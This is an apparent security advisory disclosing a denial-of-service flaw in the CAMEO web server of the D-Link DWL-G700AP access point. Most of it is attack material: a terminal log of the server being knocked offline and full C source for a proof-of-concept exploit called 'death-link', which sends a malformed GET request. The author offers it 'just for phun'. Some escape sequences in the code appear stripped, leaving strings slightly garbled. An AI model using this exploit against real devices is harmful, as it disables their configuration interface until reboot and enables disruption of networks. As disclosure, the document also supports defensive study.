D-Link DWL-G700AP httpd DoS

Advisory Content :

author: l0om
page: www.excluded.org
product: D-Link DWL-G700AP
firmware: tested on v2.00 and the latest v2.01

The DWL-G700AP is an accesspoint from D-Link and the only way to configure
it is the http service which is managed from a httpd called "CAMEO". This
webserver is very easy to DoS because all you have to do is send the AP the
following string: "GET nn". I really have been thinking how bad you have
to code to shutdown the whole service with one request which is handeld by
one child process. my guess is that the parent httpd tries to log the
request
and runs into a "segmentation fault" while reading the "GET", "POST" or
whatever request with no filename.

PoC exploit follows just for phun and no profit.

best wishes everyone and have phun!
l0om

---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) open
punt!

l0om@badhost:~/death-link> ./death-link -h
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

death-link [options] <ip-address>
-o: ONLY CHECK for valid target
-c: check for valid target
-h: help

l0om@badhost:~/death-link> ./death-link -c 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

checking target... done! valid victim detected
sending DoS... done!
checking webserver status... CAMEO-httpd DEAD

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) : Connection refused

l0om@badhost:~/death-link> ./death-link -o 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

checking target... faild! webserver already dead?

---8<--snip---8<-- death-link.c --8<--snip---8<--snip

/*
death-link.c
------------------------
written by l0om
WWW.EXCLUDED.ORG
------------------------
exploit tested on firmware: v2.00 and the latest v2.01
remote DoS exploit for the CAMEO-httpd which is running on the D-Link
Accesspoint DWL-G700AP. After executing this the accesspoint cannot be
configured anymore because the only way to administrate the AP is the
administration with your browser. you have to reboot the box to get the
httpd started again.

have phun!

// some greetings
maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach,
mattball, molke, murfie, vy99
excluded.org people, IT31 people

// the guys who made exploiting possible with buying this AP
joerres, hermanns, schubert

*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DOSSTRING "GET nn"
#define TARGET "CAMEO-httpd"
#define DESTPORT 80

int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);

int main(int argc, char **argv)
{
int fd, i, check = 0;
char *ip = NULL;

header();

if(argc > 1)
for(i = 1; i < argc; i++)
if(argv[i][0] == '-')
switch(argv[i][1]) {
case 'o':
check = 2;
break;
case 'c':
check = 1;
break;
case 'h':
help();
break;
default:
printf("t>> %s << unknown optionn",argv[i]);
exit(-1);
}
else ip = argv[i];

if(ip == NULL) help();

if(check) {
printf("tchecking target... "); fflush(stdout);
i = check_httpd(ip);
if(i <= 0) {
printf("faild! ");
if(!i) printf("invalid target webservern");
else printf("webserver already dead?n");
exit(-1);
}
else printf("done! valid victim detectedn");
if(check == 2) return 0;
}

printf("tsending DoS... "); fflush(stdout);
if(DoS(ip) <= 0) {
printf("faild!n");
return -1;
} else printf("done!n");

sleep(1);
printf("tchecking webserver status... "); fflush(stdout);
if(!alive(ip)) printf("%s DEADn",TARGET);
else printf("%s on %s is still alive :( n",TARGET,ip);

return 0;
}

int check_httpd(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return -1;

if(!write(sockfd, "GET / HTTP/1.0nn", 16))
return 0;
else nbytes = read(sockfd, buf, 500);

len = strlen(pattern);
ptr = buf;

while(nbytes--) {
if(*ptr == pattern[i])
i++;
else i = 0;
if(i == len) return 1;
else ptr++;
}
return 0;
}

int alive(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return 1;
}

int DoS(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}

void help(void)
{
printf("tdeath-link [options] <ip-address>n");
printf("t-o: ONLY CHECK for valid targetn");
printf("t-c: check for valid targetn");
printf("t-h: helpn");
exit(0);
}

void header(void)
{
printf("tdeath-link - written by l0omn");
printf("t WWW.EXCLUDED.ORGn");
printf("tDoS %s D-Link DWL-G700APnn",TARGET);
}

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